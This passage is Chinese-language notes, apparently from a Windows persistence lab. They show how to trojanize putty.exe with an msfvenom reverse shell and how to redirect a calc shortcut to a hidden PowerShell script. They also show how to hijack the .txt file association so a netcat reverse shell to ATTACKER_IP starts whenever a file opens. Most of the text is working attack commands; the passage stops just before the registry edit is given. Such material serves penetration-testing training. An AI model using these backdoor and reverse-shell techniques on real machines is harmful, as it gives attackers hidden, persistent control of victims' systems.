可执行文件
用户桌面上的文件经常被用户使用,我们可以利用在程序中注入有效载荷来获取目标
假设为:
**putty.exe**
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
快捷方式
我们也可以修改快捷方式,我们可以将其更改为指向将运行后门的脚本,然后正常执行通常的程序,而不是直接指向预期的可执行文件。
使用:
<font style="color:rgb(33, 37, 41);">calc 快捷方式</font>
、
我们现在目标创建一个 PowerShell 脚本文件,并且该脚本文件会执行反向 SHELL 以及 calc.exe
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
然后修改快捷方式指向我们的脚本
同时注意,我们还需要修改图标指向原本的文件
# -WindowStyle hidden : 隐藏窗口运行
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
然后等待连接即可
劫持关联文件
:::tips
除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,以在用户打开特定文件类型时强制操作系统运行 shell。默认的操作系统文件关联保存在注册表 **<font style="color:#DF2A3F;">HKLM\Software\Classes\</font>**
中
:::
假设我们要检查哪个程序用于打开 .txt 文件;我们可以去检查子.txt项并找到与之 关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID:
然后我们可以搜索相应 ProgID 的子项(也在下
HKLM\Software\Classes\
),在本例中 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项,在该子项下shell\open\command
指定为具有该扩展名的文件运行的默认命令:
在这种情况下,当您尝试打开一个 .txt 文件时,系统将执行
%SystemRoot%\system32\NOTEPAD.EXE %1
,其中%1代表打开的文件的名称。如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1
:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
请注意,在 Powershell 中,我们必须传递
$args[0]
给记事本,因为它将包含要打开的文件的名称,如通过%1
.现在让我们更改注册表项以在隐藏窗口中运行我们的后门脚本: